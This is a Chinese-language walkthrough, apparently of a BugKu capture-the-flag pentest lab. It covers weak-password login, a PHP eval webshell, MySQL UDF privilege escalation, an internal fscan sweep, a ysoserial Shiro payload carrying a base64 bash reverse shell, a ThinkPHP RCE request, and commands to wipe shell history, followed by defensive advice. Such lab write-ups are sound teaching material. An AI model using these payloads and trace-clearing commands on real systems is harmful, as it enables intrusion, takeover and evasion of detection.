BugKu渗透测试实战:从弱口令到内网漫游的全过程记录
BugKu渗透测试实战:从弱口令到内网漫游的完整技术拆解
在网络安全领域,渗透测试是检验系统防御能力的有效手段。本文将详细还原一次针对企业官网的渗透测试全过程,从最基础的弱口令突破开始,逐步深入内网核心区域,最终实现全域控制。不同于理论讲解,这里每个步骤都附带可复现的技术细节和避坑指南。
1. 目标侦察与初步渗透
任何渗透测试的第一步都是信息收集。面对仅提供官网链接的测试目标,我们首先使用浏览器开发者工具查看页面源码。在<footer>标签内意外发现了开发注释:""。这种信息泄露在真实环境中并不罕见,开发人员常会无意间留下测试凭据。
接下来尝试经典弱口令组合:
- admin/admin
- admin/password
- admin/123456
其中admin/admin组合成功登录后台管理系统。后台界面显示这是一个基于PHP开发的代码教程平台,在"系统设置"模块发现了被硬编码的API密钥:
API_SECRET_KEY=7x!A%D*G-KaPdSgV关键发现:平台提供"在线代码测试"功能,允许用户输入PHP代码并实时执行。这为后续突破提供了重要入口。
2. 代码执行与WebShell植入
利用代码执行功能,我们首先测试基础命令:
<?php system("whoami"); ?>返回结果显示当前用户为www-data,确认存在命令注入漏洞。通过分析请求数据包,发现用户提交的代码会被保存到/var/www/html/tmp/目录下,文件名格式为[timestamp]_[hash].php。
使用Burp Suite拦截请求后修改上传内容:
POST /execute.php HTTP/1.1 [...] code=<?php eval($_GET['cmd']); ?>成功获取WebShell后,使用以下命令探测服务器环境:
ls -la /var/www/html find / -name "flag*" 2>/dev/null在/var/www/html/flag.txt中找到第一个flag,内容提示:"数据库中有更多秘密"。
3. 数据库提权与横向移动
通过WebShell发现数据库配置信息:
// config.php $db_host = 'localhost'; $db_user = 'root'; $db_pass = 'mysql@123'; $db_name = 'bugku';使用mysql客户端连接后执行:
SELECT @@version; -- 返回:5.7.29-0ubuntu0.18.04.1确认存在UDF提权可能。从sqlmap的/usr/share/sqlmap/data/udf/mysql目录提取预编译的so文件:
cp /usr/share/sqlmap/data/udf/mysql/linux/64/lib_mysqludf_sys.so .通过WebShell上传文件后执行提权操作:
CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.so'; SELECT sys_exec('chmod +s /bin/bash');成功获取root权限后,使用fscan进行内网扫描:
./fscan -h 192.168.0.0/24扫描结果摘要:
| IP地址 | 开放端口 | 服务版本 | 漏洞可能性 |
|---|---|---|---|
| 192.168.0.1 | 8080 | Shiro 1.2.4 | 反序列化漏洞 |
| 192.168.0.4 | 80 | ThinkPHP 5.0.23 | RCE |
| 192.168.0.10 | 22 | OpenSSH 7.6p1 | 弱口令可能性高 |
4. 内网漏洞利用与权限维持
针对Shiro服务,使用ysoserial生成payload:
java -jar ysoserial.jar CommonsBeanutils1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMi80NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" > payload.ser通过Cookie RememberMe字段发送序列化数据,成功获取192.168.0.1的shell。在/home/user/目录发现第二个flag。
对于ThinkPHP服务器,直接使用公开exp:
GET /index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami HTTP/1.1获取shell后在网站根目录找到第三个flag。通过内网代理转发,我们最终访问到数据库服务器,完成整个内网漫游过程。
5. 痕迹清理与防御建议
完成测试后,需要特别注意清理操作痕迹:
# 清除命令历史 echo "" > ~/.bash_history history -c # 删除临时文件 rm -f /tmp/lib_mysqludf_sys.so针对本次渗透暴露的安全问题,企业应当采取以下防护措施:
- 密码策略:强制使用复杂密码并启用多因素认证
- 代码审计:过滤所有用户输入,禁用危险函数如
eval() - 权限控制:遵循最小权限原则,数据库不应使用root账户
- 网络隔离:重要内网服务应设置更严格的访问控制
整个渗透过程耗时约6小时,共发现高危漏洞4处,获取flag 3个。这种从外网到内网的完整突破路径,清晰地展示了安全防线中最薄弱的环节往往不是技术漏洞,而是人的疏忽。
